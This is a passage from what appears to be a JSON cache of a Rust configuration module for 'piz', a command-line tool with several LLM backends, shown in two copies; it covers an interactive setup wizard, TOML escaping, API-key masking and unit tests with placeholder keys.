String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 48\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 48\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Return a stable identifier for the active backend+model combination.\n/// Used as part of the cache key so switching models auto-invalidates stale entries.\npub fn active_model_id(config: &Config, backend_override: Option<&str>) -> String {\n let backend = backend_override.unwrap_or(&config.default_backend);\n let model = match backend {\n \"openai\" => config.openai.as_ref().map(|c| c.model.as_str()),\n \"claude\" => config.claude.as_ref().map(|c| c.model.as_str()),\n \"gemini\" => config.gemini.as_ref().map(|c| c.model.as_str()),\n \"ollama\" => config.ollama.as_ref().map(|c| c.model.as_str()),\n _ => None,\n };\n format!(\"{}:{}\", backend, model.unwrap_or(\"default\"))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 48);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn show_explanation_default_false() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_true() {\n let cfg = parse_config(\"show_explanation = true\").unwrap();\n assert!(cfg.show_explanation);\n }\n\n #[test]\n fn show_explanation_missing_defaults_false() {\n let toml = r#\"\ndefault_backend = \"openai\"\nauto_confirm_safe = true\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(!cfg.show_explanation);\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n\n // ── Backend-specific config parsing ──\n\n #[test]\n fn parse_claude_config_standalone() {\n let toml = r#\"\ndefault_backend = \"claude\"\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.claude.is_some());\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n assert_eq!(claude.model, \"claude-sonnet-4-20250514\");\n assert!(claude.base_url.is_none());\n }\n\n #[test]\n fn parse_claude_config_with_base_url() {\n let toml = r#\"\n[claude]\napi_key = \"sk-test\"\nbase_url = \"https://my-proxy.com\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.base_url.as_deref(), Some(\"https://my-proxy.com\"));\n }\n\n #[test]\n fn parse_gemini_config_standalone() {\n let toml = r#\"\ndefault_backend = \"gemini\"\n[gemini]\napi_key = \"AIza-test\"\nmodel = \"gemini-2.5-flash\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert!(cfg.gemini.is_some());\n let gemini = cfg.gemini.unwrap();\n assert_eq!(gemini.api_key, \"AIza-test\");\n assert_eq!(gemini.model, \"gemini-2.5-flash\");\n }\n\n #[test]\n fn parse_ollama_config_defaults() {\n let toml = r#\"\n[ollama]\n\"#;\n let cfg = parse_config(toml).unwrap();\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n // ── Default values ──\n\n #[test]\n fn cache_ttl_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_ttl_hours, 48);\n }\n\n #[test]\n fn cache_max_entries_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.cache_max_entries, 1000);\n }\n\n #[test]\n fn chat_history_size_default() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.chat_history_size, 20);\n }\n\n #[test]\n fn auto_confirm_safe_default() {\n let cfg = parse_config(\"\").unwrap();\n assert!(!cfg.auto_confirm_safe);\n }\n\n #[test]\n fn language_default_zh() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.language, \"zh\");\n }\n\n #[test]\n fn language_custom() {\n let cfg = parse_config(\"language = \\\"en\\\"\").unwrap();\n assert_eq!(cfg.language, \"en\");\n }\n\n #[test]\n fn default_backend_openai() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n }\n\n // ── mask_api_key edge cases ──\n\n #[test]\n fn mask_api_key_empty() {\n // empty string → 0 * chars\n assert_eq!(mask_api_key(\"\"), \"\");\n }\n\n #[test]\n fn mask_api_key_single_char() {\n // <=8 chars → repeat '*' for each char\n assert_eq!(mask_api_key(\"a\"), \"*\");\n }\n}\n"}, "b6ff3c977175d4650d6bd48f9459a7166feae055": {"t": 1785760760.8056579, "n": 21552, "h": "c00f7b7ac9b20183", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 48\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = std::env::var(\"HOME\")\n .or_else(|_| std::env::var(\"USERPROFILE\"))\n .map(PathBuf::from)\n .ok()\n .or_else(dirs::home_dir)\n .context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 48\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn 